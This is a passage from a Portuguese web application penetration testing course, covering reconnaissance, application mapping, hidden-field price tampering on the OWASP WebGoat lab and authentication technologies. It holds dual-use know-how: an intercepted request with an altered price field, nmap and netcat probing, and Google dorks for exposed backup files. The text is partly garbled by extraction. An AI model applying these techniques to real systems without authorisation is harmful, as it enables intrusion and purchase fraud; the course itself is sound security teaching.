de desenvolvimento e teste.
Todas as novas funcionalidades e pginas descobertas tambm devem ser copiadas e fazer
parte do mapa da aplicao. No caso dos novos servidores, deve-se voltar atividade de reco-
nhecimento, se fizerem parte do escopo contratado. Seno, importante discutir com o cliente
a necessidade de inclui-los no teste, considerando que no sejam de uma empresa externa.
Recursos escondidos, muitas vezes, podem ser encontrados a partir dos elementos q
j mapeados. Para isso, inicialmente, necessrio analisar o resultado obtido at o
momento e observar os nomes de arquivos, diretrios e parmetros.
Captulo 2 - Reconhecimento e mapeamento
Para cada arquivo da lista, deve-se efetuar requisies, variando-se a extenso para outras,
como .bak, .old, .tmp e .inc. Em seguida, caso um padro de nomes tenha sido identificado,
itens cujos nomes o satisfaam devem ter a existncia verificada (Stuttard e Pinto, 2007).
Por exemplo, se o mapa contiver arquivos AddUser.asp e ViewUser.asp, existe uma chance
que RemoveUser.asp, UpdateUser.asp e DisableUser.asp tambm sejam vlidos.
1 Parmetros passados via URL em requisies GET. Considere-se que nem sempre os
delimitadores-padro so utilizados.
Uma regra de ouro para o desenvolvimento de softwares seguros que todo usurio deve
ser considerado malicioso e, portanto, nunca se deve confiar em nada que ele fornece.
Exerccio de nivelamento 2 e
Validao unilateral
comum encontrar aplicaes que validam entradas somente no lado cliente?
Teste de Invaso de Aplicaes Web
64
Descoberta de vulnerabilidades e explorao
Aps realizar todo o levantamento e mapeamento da aplicao, prossegue-se etapa q
de descoberta de vulnerabilidades, para posterior explorao. Com um pouco de sorte,
algumas fraquezas, como utilizao de usurios e senhas-padro, so encontradas logo
nas fases iniciais do teste de invaso. Para a maioria dos casos, porm, testes espec-
ficos para cada tipo de problema possvel devem ser executados, sempre guiados pelas
informaes coletadas.
O caso clssico deste problema, que afetou diversas lojas virtuais, nos princpios do q
comrcio eletrnico, o armazenamento de preos em campos escondidos, para uso no
clculo da fatura a ser paga pelo cliente.
O mtodo mais simples de violar o uso de campos escondidos consiste em gravar o for- q
mulrio localmente, editar o valor do campo, recarregar o formulrio em um navegador
e submet-lo ao servidor (Stuttard e Pinto, 2007).
Uma abordagem mais elegante e prtica, contudo, utilizar um proxy de interceptao, para
alterar as informaes desejadas, em tempo de execuo, antes que a requisio deixe a
mquina do usurio. Esta tcnica bem verstil e tambm pode ser empregada para quebrar
restries impostas a campos de formulrios e validao baseada em cdigo Javascript.
Captulo 2 - Reconhecimento e mapeamento
65
Figura 2.10
WebGoat: exerccio
sobre explorao de
campo escondido.
POST http://webgoat.esr.rnp.br:8080/webgoat/
attack?Screen=60&menu=1700 HTTP/1.1
Host: webgoat.esr.rnp.br:8080
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13)
Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/
xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.7,pt-br;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://webgoat.esr.rnp.br:8080/webgoat/
attack?Screen=60&menu=1700
Cookie: JSESSIONID=325E4532DAA7BD43EA8C2AE5824783C0
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Content-Type: application/x-www-form-urlencoded
Content-length: 35
QTY=1&SUBMIT=Purchase&Price=2999.99
Teste de Invaso de Aplicaes Web
Observe-se que o corpo da requisio contm os parmetros QTY, SUBMIT e Price. Qual
seria o motivo do preo ser submetido como parte da requisio? Normalmente, apenas as
informaes que sero processadas pela aplicao so enviadas e, assim, razovel supor
que o valor ser empregado para compor o total do pedido. Se esta hiptese estiver correta,
a alterao do valor do campo escondido far com que o preo desejado seja cobrado pelo
produto. Este passo, executado por meio da tela de interceptao do WebScarab, est ilus-
trado na Figura 2.11, e o resultado, na Figura 2.12.
66
Figura 2.11
Interceptao da
requisio e alte-
rao do valor do
campo Price.
Figura 2.12
Tela exibindo o total
do pedido.
Exerccio de fixao 4 e
Segurana de controles
Controles no lado cliente so seguros? Em caso negativo, explique o motivo.
Contramedidas
Para evitar que uma aplicao padea de vulnerabilidades relacionadas a controles q
implementados no lado cliente, as seguintes melhores prticas devem ser observadas:
toda informao fornecida por eles deve ser validada no servidor, imediatamente
antes de ser utilizada.
1 Nunca espere que todos os parmetros previstos sejam recebidos como parte
da requisio. Usurios maliciosos podem remover um ou mais itens, antes de
submet-la aplicao.
67
68
Teste de Invaso de Aplicaes Web
Roteiro de Atividades 2
Atividade 1 Ferramentas bsicas
Nesta atividade, o aluno se familiarizar com as ferramentas bsicas que so utilizadas nas
diversas etapas de um teste de invaso. Para inici-la, carregue as mquinas virtuais do
aluno e do servidor (Fedora) e execute os roteiros na primeira delas.
Proxies de interceptao
Para utilizar proxies de interceptao, necessrio configurar a ferramenta para escutar
a porta desejada e o navegador para direcionar todo trfego para ela. Os roteiros abaixo
ilustram como isso pode ser realizado nos proxies Burp Suite, Paros e WebScarab e nos
navegadores Firefox, Opera e Chrome.
4. Digite a porta desejada no campo local listener port e mantenha listen on loopback
interface only habilitado.
9. Digite a porta desejada no campo Port (eg 8080). Para este exerccio, escolha a porta 9000.
Configurao do Firefox
2. Inicie o proxy desejado. Para este exerccio, utilize o WebScarab, presente no menu
Aplicativos\Curso Ferramentas.
69
3. No Firefox, clique em Edit, seguido de Preferences.
5. Clique em Settings.
11. Os passos seguintes so para testar o acesso via WebScarab, mas sem interceptao de
nenhuma das requisies.
16. Volte ao WebScarab e veja que as tabelas na aba Summary foram preenchidas com as
requisies efetuadas pelo acesso acima.
2. Clique no Multiproxy Switch, na parte direita da barra de estado, e observe que j existem
alguns itens cadastrados.
4. Clique em Add.
5. Preencha Proxy Label com Paros, HTTP Proxy com localhost, Port com 9000 e selecione
Use this proxy server for all protocols.
Teste de Invaso de Aplicaes Web
7. Clique novamente no Multiproxy Switch e veja que um item para o Paros foi adicionado.
Configurao do Opera
2. Inicie o proxy desejado. Para este exerccio, utilize o Burp Suite, presente no menu
Aplicativos\Curso Ferramentas.
70
3. No Opera, clique em Menu, seguido de Configuraes e Preferncias.
10. Os passos seguintes so para testar o acesso via Burp Suite, mas sem interceptao de
nenhuma das requisies.
15. Ainda na aba Proxy, clique na aba-filha History e veja que a tabela est vazia.
17. Volte ao Burp Suite e veja que a tabela na aba History foi preenchida com as requisies
efetuadas pelo acesso acima.
Configurao do Chrome
20. Inicie o proxy desejado. Para este exerccio, utilize o Paros, presente no menu
Aplicativos\Curso Ferramentas.
21. No Chrome, clique no cone de chave inglesa, localizado ao lado da barra de endereo e
selecione Preferncias.
26. Selecione Usar o mesmo proxy para todos os protocolos e preencha os campos Proxy HTTP e
Porta com os valores localhost e 9000, respectivamente.
29. Os passos seguintes so para testar o acesso via Paros, mas sem interceptao de
nenhuma das requisies.
71
31. Limpe os check-boxes Trap request e Trap response.
32. Clique na aba History, localizada na parte inferior da tela, e veja que no h itens listados ali.
34. Volte ao Paros e veja que a lista na aba History foi preenchida com as requisies efetu-
adas pelo acesso acima.
Web spiders
O objetivo desta atividade que o aluno tenha um primeiro contato com web spiders, para
utiliz-los nos exerccios sobre mapeamento.
5. Para finalizar, clique em Help e em spider help e faa uma breve leitura do contedo.
Spider do Paros
4. Encerre o Paros.
Spider do WebScarab
4. Expanda o ramo WebScarab Plugins, selecione The Spider plugin e leia o contedo apresentado.
5. Encerre o WebScarab.
Teste de Invaso de Aplicaes Web
man nmap
72
3. Execute uma varredura local bsica e analise o relatrio apresentado:
nmap localhost
4. Encerre o terminal.
Outras ferramentas
H outras ferramentas que podem ser utilizadas em testes de invaso de aplicaes web,
das quais, nesta atividade, sero abordadas o Netcat, o OpenSSL e o Nikto.
Netcat
$ man netcat
3. Digite o comando abaixo para que o Netcat escute conexes na porta 7000:
$ nc l 7000
$ nc localhost 7000
OpenSSL
$ GET / HTTP/1.0
Captulo 2 - Roteiro de Atividades
Nikto
$ man nikto
73
Atividade 2 Reconhecimento
O objetivo desta atividade exercitar os diversos passos que fazem parte da etapa de
reconhecimento de um teste de invaso, cujo propsito levantar o mximo possvel de
informaes da aplicao alvo.
Considere as redes sociais de que participa. Identifique que informaes sobre tecnologias
utilizadas pela organizao em que trabalha podem ser extradas de seus perfis e das comu-
nidades de que faz parte.
3. Tente executar uma transferncia de zona DNS para o domnio da sua organizao. Na
remota possibilidade desta funcionalidade estar habilitada, uma vulnerabilidade acaba de
ser encontrada e precisa ser corrigida.
Google hacking
Mecanismos de busca como o do Google permitem encontrar muitas informaes sobre
uma aplicao e, assim, so muito teis em testes de invaso. Nesta prtica, o aluno execu-
tar diversas consultas ao Google, para explorar as opes existentes. Para cada pesquisa,
observe o total de itens encontrados, o tempo de execuo e as pginas listadas.
2. Para encontrar pginas em ingls sobre testes de invaso em aplicaes web, submeta a
seguinte pesquisa:
4. Aplique a seguinte alterao para buscar pginas que possuam web application ou
penetration testing:
vulnerability scanners
74
6. Se no estiver interessado no Nessus, por exemplo, inclua -nessus:
site:<domnio da empresa>
9. Verifique se sua empresa possui algum sistema web voltado para internet com uma
pgina de autenticao de usurio:
intitle:Index of
intitle:Index of filetype:bak
$ nmap exemplo.esr.rnp.br
$ nmap -A exemplo.esr.rnp.br
75
5. O Nmap possui uma interface grfica oficial, chamada de Zenmap. Inicie-a, a partir do
menu Aplicativos\Curso Ferramentas e fornea sua senha, quando solicitada.
9. Analise o resultado, percorrendo as abas Nmap output, Ports / Hosts, Topology, Host Details
e Scans.
10. Feche a janela do Zenmap, mas mantenha o terminal aberto para a prxima atividade.
http://exemplo.esr.rnp.br:81/blabla
http://exemplo.esr.rnp.br:8080/blabla
http://exemplo.esr.rnp.br:8090/blabla
4. Outra tcnica consiste na anlise do cabealho Server, fornecido pelo servidor como parte
das respostas. Para realizar este teste, abra uma nova janela de terminal e digite o texto
abaixo, finalizando com [Enter] duas vezes:
$ nc exemplo.esr.rnp.br 80
HEAD / HTTP/1.0
O valor do cabealho supracitado est de acordo com o tipo de servidor identificado pelo
Nmap? Esta tcnica robusta?
Teste de Invaso de Aplicaes Web
6. Houve algum problema ao realizar o teste para a porta 81? Provavelmente sim, e o motivo
que o lighttpd, na verso 1.4, somente aceita linhas terminadas pelos caracteres CR e LF,
enquanto que o sistema operacional Linux adota apenas o caractere LF. Para corrigir isto,
utilize a opo -C do Netcat.
76
8. Na tabela localizada abaixo do campo Signature File, insira uma linha para cada uma das
portas no conjunto {80, 81, 8080, 8090}, com Host igual a exemplo.esr.rnp.br e com o
check-box marcado. Para incluir uma nova linha, basta pressionar a tecla [Enter], quando
o foco estiver em Host ou Port.
10. Para iniciar a execuo, clique no boto que contm uma seta verde.
11. Compare o resultado com o Nmap, por meio da coluna Banner Deduced, e observe que no
foi muito satisfatrio. Esse resultado, contudo, pode ser melhorado por meio da adio
de assinaturas de servidores web ao arquivo signatures.txt do httprint. A localizao deste
arquivo pode ser observada no campo Signature File, que, no exerccio, aparece como um
subdiretrio do drive Z, porque o utilitrio est sendo executado via Wine.
12. Selecione na tela do httprint a linha do servidor lighttpd e copie para a rea de transfe-
rncia (Control-C) a regio abaixo da tabela, contendo nome do servidor e cinco linhas
em hexadecimal.
13. Abra uma janela de terminal e digite o seguinte comando, fornecendo a senha quando
solicitada:
14. Logo aps a linha # $AUTOGENERATED: {version}, cole o que copiou do httprint, deixando
uma linha em branco antes da seo seguinte.
Neste roteiro, por meio do mtodo OPTIONS, o aluno deve identificar os mtodos supor-
tados pelos quatro servidores web instalados na mquina virtual Fedora.
17. Abra uma janela de terminal e digite o texto abaixo, finalizando com [Enter] duas vezes:
$ nc exemplo.esr.rnp.br 80
OPTIONS / HTTP/1.0
18. Repita o processo para as portas 81, 8080 e 8090, lembrando-se como proceder, no caso
do lighttpd.
Nesta atividade, sero exercitados mtodos para a deteco dos hosts virtuais.
2. Acesse http://dvwa.esr.rnp.br.
3. Acesse http://exemplo.esr.rnp.br.
77
5. Digite o comando abaixo e anote o endereo IP:
$ ping -c 1 dvwa.esr.rnp.br
$ ping -c 1 exemplo.esr.rnp.br
7. Quando os dois endereos IP so iguais e os dois stios so acessados pela mesma porta,
significa que so hospedados virtualmente pelo mesmo servidor, que os discerne pelo
nome de domnio. A desvantagem deste mtodo, porm, que nem sempre haver dois
nomes de domnio diferentes disposio, para realizar o teste descrito.
8. Uma tcnica diferente, que depende de sorte para funcionar, consiste em acessar o stio
web por meio do endereo IP. Assim, considere que a aplicao alvo seja dvwa.esr.rnp.br
e a acesse em um navegador web utilizando o endereo IP descoberto no Passo 5. Observe
que a pgina exibida pertence ao domnio exemplo.esr.rnp.br, o que implica que a hos-
pedagem virtual por nomes utilizada. O fator azar est relacionado chance do stio web
alvo ser exatamente o host padro do servidor web. Neste caso, o teste no conclusivo.
9. Repita o exerccio anterior para os servidores web que escutam nas portas 81, 8080
e 8090 da mesma mquina. Primeiro, observe a pgina obtida pelo acesso com a URL
http://exemplo.esr.rnp.br:<porta> e, em seguida, por meio de endereo IP, com a URL
http://192.168.213.200:<porta>. Quais esto utilizando hospedagem virtual?
10. A ltima tcnica envolve o uso de uma ferramenta web para mapear endereos IP para
nomes de domnio. Inicie acessando uma janela de terminal.
11. Digite o comando abaixo para descobrir o endereo IP do servidor web da sua empresa:
13. Se domnios de empresas diferentes forem listados, o stio web de sua empresa est
armazenado em um servidor com hospedagem virtual habilitada.
78
Atividade 3 Mapeamento
Nesta atividade, o aluno realizar o mapeamento de uma aplicao web, contida na
mquina virtual Fedora. A ferramenta bsica que ser utilizada o web spider, para cpia
local das pginas e recursos que compem a aplicao.
2. Clique em Tools e em Clear Recent History, para limpar o histrico. Na janela que aparece,
selecione Everything para Time range to clear, marque todos os itens em Details e pressione
Clear now.
6. Percorra os links Register, Login, Logout, Show log, Credits, User info, DNS
Lookup, Add to your blog, View someones blog, Browser info, Text file viewer e
Source viewer e submeta quaisquer formulrios que forem apresentados.
18. Observe que as URLs encontradas no processo de cpia so listadas no quadro inferior
Captulo 2 - Roteiro de Atividades
da tela.
2. Clique em Tools e em Clear Recent History, para limpar o histrico. Na janela que aparece,
selecione Everything para Time range to clear, marque todos os itens em Details e pressione
Clear now.
79
3. Inicie o WebScarab, presente no menu Aplicativos\Curso Ferramentas.
6. Percorra os links Register, Login, Logout, Show log, Credits, User info, DNS
Lookup, Add to your blog, View someones blog, Browser info, Text file viewer e
Source viewer e submeta quaisquer formulrios que forem apresentados.
14. Clique em Fetch Tree. Infelizmente, o WebScarab no possui uma barra de progresso da
tarefa e, assim, a nica maneira de saber que o processo terminou quando nenhum
item for adicionado ou removido da tela.
16. Observe na tabela de requisies que algumas linhas com Origin igual a Spider foram
includas pelo Passo 14.
2. Clique em Tools e em Clear Recent History, para limpar o histrico. Na janela que aparece,
selecione Everything para Time range to clear, marque todos os itens em Details e pressione
Clear now.
6. Percorra os links Register, Login, Logout, Show log, Credits, User info, DNS
Teste de Invaso de Aplicaes Web
Lookup, Add to your blog, View someones blog, Browser info, Text file viewer e
Source viewer e submeta quaisquer formulrios que forem apresentados.
10. No mapa da aplicao, clique com o boto direito sobre o item referente ao Mutillidae e
selecione Add item to scope.
80
11. Clique novamente com o boto direito sobre o item referente ao Mutillidae, selecione
Spider this host e clique no boto Yes, na mensagem que aparece.
12. Neste processo, algumas janelas para submisso de formulrios aparecero. Preencha os
campos e clique em Submit form, sempre que isso acontecer.
13. Observe que novos elementos foram adicionados ao mapa da aplicao, ao fim do processo.
14. Procure pelo arquivo config.inc e selecione-o. Que contedo interessante ele revela?
15. Agora, procure pelo arquivo accounts.txt, selecione-o e observe o que ele contm. Qual a
utilidade das informaes encontradas?
No Paros
4. Percorra os itens do histrico, um a um, analisando a requisio que foi realizada e identi-
ficando parmetros passados em requisies GET e POST.
No WebScarab
Captulo 2 - Roteiro de Atividades
81
14. Role a tabela at o item com menor ID.
15. D um duplo clique sobre ele e veja que uma tela com detalhes da requisio e da res-
posta aparece.
16. Esta janela dividida em quatro sees separadas por uma barra fina, contendo setas no
lado esquerdo. Clique nas setas que apontam para baixo na primeira e terceira barras.
Isto ocultar o corpo das mensagens.
18. Percorra os diversos itens, clicando no boto Next, e, durante esta tarefa, observe os
parmetros passados em requisies GET e POST, cabealhos no padronizados e pontos
em que cookies so definidos.
No Burp Suite
22. Clique na barra Filter e marque o campo Show only in-scope items.
25. Percorra os itens do mapa da aplicao, um a um, analisando a requisio que foi reali-
zada e identificando parmetros passados em requisies GET e POST.
27. Percorra os itens do mapa da aplicao, um a um, analisando a resposta gerada pelo ser-
vidor e identificando cabealhos no padronizados e pontos em que so definidos cookies.
28. Clique com o boto direito na raiz do mapa da aplicao e selecione Copy links in this host.
29. Abra o gedit, localizado no menu Aplicativos\Acessrios, e pressione Ctrl+V, para colar os
links existentes nas pginas da aplicao. Veja se encontra alguma coisa interessante.
rios. Como se sabe, tal prtica censurvel, pois, normalmente, uma tarefa trivial quebrar
este tipo de mecanismo. Nos exerccios que se seguem, recomenda-se que o aluno tente
traar a estratgia de explorao, antes de seguir o roteiro fornecido.
Acesso ao WebGoat
Os exerccios desta atividade sero executados no OWASP WebGoat, uma aplicao con-
tendo vulnerabilidades propositais, para o estudo de segurana em aplicaes web.
82
3. Selecione a aba-filha Manual Edit, sob a aba Proxy, e desmarque a opo Intercept requests.
6. Feche a janela.
10. Pressione Ctrl+F e digite Disabled input field:, para encontrar o campo desabilitado.
11. Anote o nome do campo, definido no elemento <input>, e feche a janela de visualizao de
cdigo-fonte.
12. Clique em Submit novamente. Uma janela aparece, contendo a requisio que ser efe-
tuada. Para alterar o valor de um parmetro, basta dar um duplo clique na coluna Value,
na linha correspondente, e digitar a nova informao.
83
3. Retorne ao WebGoat e clique no menu Parameter Tampering e no sub-menu Bypass Client
Side JavaScript Validation.
4. Leia as regras definidas para cada campo, altere-os para valores invlidos e submeta o
formulrio, clicando em Submit.
5. Veja que a validao local identifica problemas nos campos e impede que a requisio
seja realizada. Feche a janela de mensagem.
7. Volte ao Firefox e submeta uma nova mensagem pelo sistema. Uma janela aparece, con-
tendo a requisio que ser efetuada.
11. Role at o final da pgina e verifique que a mensagem foi enviada ao e-mail
friend@owasp.org, em vez de webgoat.admin@owasp.org. A pgina de sucesso no
aparece, porque este roteiro apenas parte do esperado.
84
Bibliografia 2
1 DOUP, Adam; COVA, Marco e VIGNA, Giovanni. Why Johnny Cant Pentest: An Analysis of
Black-box Web Vulnerability Scanners. In: Proceedings of Seventh Conference on Detection of
Intrusions and Malware & Vulnerability Assessment (DIMVA 2010). Bonn, Germany, 2010.
1 HERZOG, Pete. OSSTMM 3 The Open Source Security Testing Methodology Manual
Contemporary Security Testing and Analysis. ISECOM, 2010.
1 LONG, Johnny; TEMMINGH, Roelof; STEWART, Jeff; PETKOV, Petko D. e LANGLEY, Ryan.
Google Hacking for Penetration Testers: Volume 2 a completely new volume of Google
hacking techniques. Syngress, 2008.
1 MCGRAW, Gary. Software Security: Building Security In. Addison-Wesley Professional, 2006.
1 MEUCCI, Matteo et al. OWASP testing guide v3.0. OWASP, 2008.
1 NETMARKETSHARE. Browser market share. Disponvel em: http://marketshare.hitslink.
com/report.aspx?qprid=0. Data de acesso: 28/12/2010.
1 PCI. Payment Card Industry (PCI) Data Security Standard Requirements and Security
Assessment Procedures v. 1.2.1. PCI Security Standards Council, 2009a.
1 PCI. Payment Card Industry (PCI) Payment Application Data Security Standard (PA-DSS)
version 1.2.1. PCI Security Standards Council, 2009b.
1 POSTEL, Jon. RFC 793 Transmission Control Protocol DARPA Internet Program
Protocol Specification. 1981.
1 STUTTARD, Dafydd; PINTO, Marcus. The Web Application Hackers Handbook. Wiley
Publishing, Inc., 2007.
Captulo 2 - Bibliografia 2
85
86
Teste de Invaso de Aplicaes Web
3
Teste do mecanismo de autenticao
objetivos
conceitos
Fatores e tecnologias de autenticao, enumerao de usurios, autenticao com
mltiplos fatores, ataques de fora bruta, ataques de dicionrio, rainbow tables,
poltica de senhas fortes.
Introduo
Um requisito importante de segurana da informao, que deve ser satisfeito por apli- q
caes web, a autenticao de entidades, isto , a corroborao da identidade da parte
com a qual se comunica.
Por um lado, os usurios querem ter a certeza de que esto conectados com o servidor
legtimo antes de fornecerem informaes sensveis, como credenciais de acesso e docu-
mentos de projeto. Por outro, a aplicao necessita confirmar a identidade de cada usurio,
para que acessos a regies protegidas sejam devidamente autorizados. O primeiro caso
resolvido, normalmente, por meio do uso do protocolo HTTPS, cujas vulnerabilidades de
implantao so discutidas no Captulo 9. J a autenticao de usurios ser abordada, ao
longo deste captulo, com foco nos problemas de segurana que podem ocorrer.
Um processo de autenticao de entidades sempre envolve a interao entre duas q Captulo 3 - Teste do mecanismo de autenticao
1 Algo que se tem: o reclamante deve provar que possui um dispositivo fsico parti-
cular, fornecido ou cadastrado anteriormente pelo verificador. Cartelas de senhas,
celulares, smart cards e geradores de senhas nicas so exemplos de tais disposi-
tivos, os quais so comumente empregados em cenrios que requerem um alto nvel
de segurana, como internet banking e declarao de Imposto de Renda.
87
1 Algo que se : nesse caso, uma pessoa prova a identidade por meio de uma caracte- q
rstica fsica ou comportamental (biometria), como ris, voz, retina, impresso digital,
face, padro de digitao, assinatura manual, entre outros. Embora seja possvel utilizar
esse fator em aplicaes web, no muito comum encontr-lo na prtica, pois o custo
dos sensores pode ser elevado e o processo de cadastro de usurios no trivial.
Quando apresenta falhas, porm, um atacante consegue acesso ilegtimo ao sistema, seja
pela porta da frente, por meio do fornecimento de credenciais vlidas, maliciosamente
obtidas, ou pela lateral, evadindo ou subvertendo a implementao do mecanismo. Em
qualquer dos casos, informaes sensveis da vtima podem ser comprometidas e aes,
realizadas em nome dela. Obviamente, o problema torna-se muito mais crtico caso a conta
violada tenha privilgios administrativos (Meucci et al., 2008; Stuttard e Pinto, 2007).
Este captulo tem por objetivo apresentar as diversas vulnerabilidades que, comumente,
afetam os mecanismos de autenticao de entidades. Com isso em mente, os seguintes
tpicos so cobertos: tecnologias de autenticao, uso de informaes obtidas nas fases de
reconhecimento e de mapeamento, credenciais padronizadas, enumerao de identifica-
dores de usurio, mecanismo vulnervel de recuperao de senhas, funcionalidade lembrar
usurio, transporte inseguro de credenciais, falhas na implementao do mecanismo, troca
de senhas vulnervel, ataque de fora bruta, ataque de dicionrio, ataque contra senhas
armazenadas, polticas de senhas fortes e engenharia social.
Exerccio de fixao 1 e
Autenticao de usurio
Que fatores podem ser utilizados na autenticao de um usurio?
Exerccio de nivelamento 1 e
Teste de Invaso de Aplicaes Web
Autenticao de entidades
O que se entende por autenticao de entidades?
Que tecnologias de autenticao voc encontra nas aplicaes web que utiliza?
88
Tecnologias de autenticao empregadas em aplicaes web
O mecanismo de autenticao de usurios mais comumente empregado por aplicaes q
web consiste no fornecimento de identificador e senha, cuja correo deve ser verificada
pela aplicao contra uma base de contas cadastradas. Essa abordagem pode ser imple-
mentada por meio das seguintes tecnologias:
1 Autenticao HTTP: baseia-se nos mtodos Basic e Digest, nativos do protocolo HTTP,
que solicitam as credenciais por meio de uma caixa de dilogo exibida ao usurio pelo
navegador web. No muito utilizada em aplicaes acessveis pela internet, salvo em
alguns sistemas de correio eletrnico corporativo. Possui a desvantagem de no permitir
travamento de conta, aps mltiplas tentativas invlidas e sucessivas de autenticao.
Atualmente, comum que uma nica pessoa tenha contas em dezenas de sites web, que
vo de aplicaes de correio eletrnico a sistemas de internet banking. Uma prtica de
segurana importante que sejam utilizadas senhas diferentes e fortes para cada uma das
contas, mas isso dificulta que o usurio memorize todas elas. Para resolver esse problema,
os navegadores web modernos e sutes de proteo de computadores pessoais apresentam
l funcionalidades para armazenamento seguro de senhas, por meio de uma senha mestra.
Embora alguns riscos de segurana pairem sobre essas solues, ainda uma abordagem
Saiba mais
muito melhor que a escrita das senhas em um pedao de papel ou o armazenamento em
Kerberos um proto- arquivo no cifrado.
q
colo de autenticao
de entidades, para Outro problema decorrente das solues baseadas em senhas que elas podem ser
aplicaes cliente/ser-
capturadas por software malicioso (keylogger) enquanto so digitadas em mquinas
vidor, criado pelo Mas- Captulo 3 - Teste do mecanismo de autenticao
sachusetts Institute of infectadas. Isso levou muitas empresas a adotarem teclados virtuais, como o ilustrado
Technology (MIT). Uti- na Figura 3.1(a), que permitem que o usurio clique nos caracteres que compem a
liza uma terceira parte
senha escolhida, anulando a ameaa de interceptao. A resposta criminosa foi a criao
confivel e criptografia
simtrica, para corro- de screenloggers, capazes de gravar regies da tela ao redor do ponto clicado com o
borar as identidades mouse, bem como as coordenadas dessa posio. Um novo avano foi necessrio e,
das partes envolvidas
hoje, alguns teclados virtuais permutam as posies dos elementos, aleatoriamente,
e, ao mesmo tempo,
estabelecer uma chave, antes de apresent-los, e escondem o smbolo de uma tecla, quando o mouse passa por
para proteo do canal cima dela vide Figura 3.1(b).
de comunicao.
Aplicaes de internet banking e sistemas que requerem um alto grau de segurana
adotam, frequentemente, tokens como um segundo fator de autenticao.
A forma mais simples consiste em uma cartela contendo cerca de cinquenta senhas de
quatro dgitos geradas aleatoriamente para cada usurio e numeradas sequencialmente
89
vide Figura 3.2(a). Quando uma transao crtica, como transferncia de fundos, requisi-
tada, a aplicao solicita que uma senha especfica da cartela e a senha geral sejam
fornecidas. Se o usurio no possui a cartela correta, a chance de acerto de uma em dez
mil possibilidades, o que razoavelmente seguro, quando o travamento de contas
utilizado. O problema, porm, reside no fato de que adivinhao de senhas no o caminho
adotado pelos criminosos. O que normalmente eles fazem induzir o usurio, por meio de
engenharia social, a acessar uma pgina falsificada e fornecer todas as posies da tabela,
sob pretexto de um problema ter ocorrido na base da aplicao. Infelizmente, ainda hoje,
muitas pessoas so susceptveis a esse tipo de ataque!
Figura 3.1
Teclados virtuais: (a)
Tradicional. (b) Com
proteo contra
screenlogger.
(a) (b)
Considerando o ataque acima, uma tecnologia mais eficaz, porm mais custosa, compre- q
ende dispositivos de gerao de senhas dinmicas, as quais podem ser usadas apenas
uma nica vez pelo usurio. Desse modo, a captura delas torna-se uma ameaa irrele-
vante, pois no possvel reutiliz-las para autenticao, por serem descartveis.
Porm, como em toda soluo baseada em token, um problema surge quando a pessoa
perde ou danifica o equipamento, porque ela ser impedida de utilizar a aplicao, at
que aquele seja substitudo. De modo geral, esses dispositivos apresentam um visor de
LCD (Figura 3.2(b)), no qual a senha exibida, e, eventualmente, um teclado numrico para
entrada de senha pessoal e desafios. Para que o usurio possa ser validado corretamente,
os tokens precisam estar sincronizados com o servidor de autenticao da aplicao, o que
realizado de acordo com a classe a que pertencem (Harris, 2008):
encerrar a autenticao, o valor correto deve ser fornecido aplicao, que com-
pleta a operao solicitada, somente caso a validao seja realizada com sucesso.
Por exemplo, ao receber uma requisio de operao crtica, a aplicao gera um nmero
aleatrio de confirmao e o envia, por meio de SMS, ao telefone do cliente, que deve digit-lo
em campo especfico do sistema. Para atacar uma soluo assim, necessrio, alm de
obter as credenciais vlidas de um usurio, adivinhar o valor de confirmao gerado pelo
90
servidor ou ter acesso ao celular da vtima. Um problema dessa tecnologia, porm, que
no h garantia de entrega de mensagens SMS, o que pode impedir a concretizao de uma
transao, se o valor de confirmao no for recebido a tempo.
Figura 3.2
Tokens: (a) Cartela
de senhas. (b)
Dispositivo sncrono
de senhas dinmicas
baseado em horrio.
(a) (b)
q
Figura 3.3
Aplicao da O princpio bsico da autenticao por token criptogrfico consiste no protocolo de
Receita Federal,
que permite acesso desafio-resposta ilustrado, de maneira simplificada, na Figura 3.4:
via e-CPF. 1. O usurio solicita aplicao a realizao de uma operao crtica.
2. Como resposta, o servidor envia um nmero aleatrio (desafio) ao cliente, que deve
ser assinado digitalmente com a chave privada contida no token.
91
6. A aplicao cliente fornece o desafio para o smart card, para gerao de assinatura. q
7. O smart card assina o desafio e o devolve aplicao cliente.
8. O desafio assinado enviado ao servidor, para verificao por meio da chave pblica
cadastrada do usurio. Caso uma resposta positiva seja obtida, possvel corroborar
a identidade do usurio, pois somente ele, que detm o smart card e conhece a senha
de acesso, capaz de gerar uma assinatura digital vlida.
Usurio
(3) Solicita
(4) Senha
senha
Alternativamente, possvel calcular um MAC sobre o desafio, em vez de uma assinatura Figura 3.4
digital, empregando uma chave simtrica armazenada no dispositivo criptogrfico e compar- Autenticao
de usurio com
tilhada com a aplicao. Qual dos mecanismos escolher depende do tipo de smart card utili- smart card.
zado, que pode suportar apenas criptografia simtrica ou, tambm, algoritmos assimtricos.
Conforme visto, uma ameaa contra sistemas baseados em senhas consiste na captura
destas por meio de softwares maliciosos instalados na mquina do usurio. Embora isso
tambm possa acontecer no caso das senhas de acesso s chaves criptogrficas, como
elas nunca deixam o dispositivo criptogrfico, preciso roub-lo, para executar um ataque
efetivo contra a aplicao. Outro cenrio hipottico, mas factvel se o token fica conectado
ao ambiente o tempo inteiro, utilizar o prprio malware que captura a senha para rea-
lizar transaes fraudulentas em nome da vtima. Nesse caso, o dispositivo criptogrfico
tratado como um orculo, que responde a todas as perguntas que lhe so direcionadas.
navegador abre uma janela solicitando que um par de chaves seja escolhido (vide Figura o armazenamento e
transferncia seguros de
3.5). Caso o servidor consiga validar o certificado apresentado, a negociao SSL/TLS com-
chaves privadas e outras
pletada com sucesso, e acesso a regies protegidas da aplicao concedido ao usurio. informaes sigilosas
de identificao.
As seguintes dificuldades, pelo menos, podem ser enumeradas para a autenticao de
usurio baseada no protocolo SSL/TLS:
92
1 Proteo da chave privada de usurio: de modo geral, os navegadores web somente
pedem a senha do arquivo PKCS #12, contendo a chave privada, no momento de impor-
tao. Aps isso, qualquer pessoa que tenha acesso mquina capaz de se autenticar
na aplicao, selecionando o par de chaves adequado.
Figura 3.5
Tela do Firefox
solicitando escolha
de certificado
para acesso apli-
cao web.
1 Mtodos biomtricos precisam ser regulados para balancear as taxas de falsos positivos
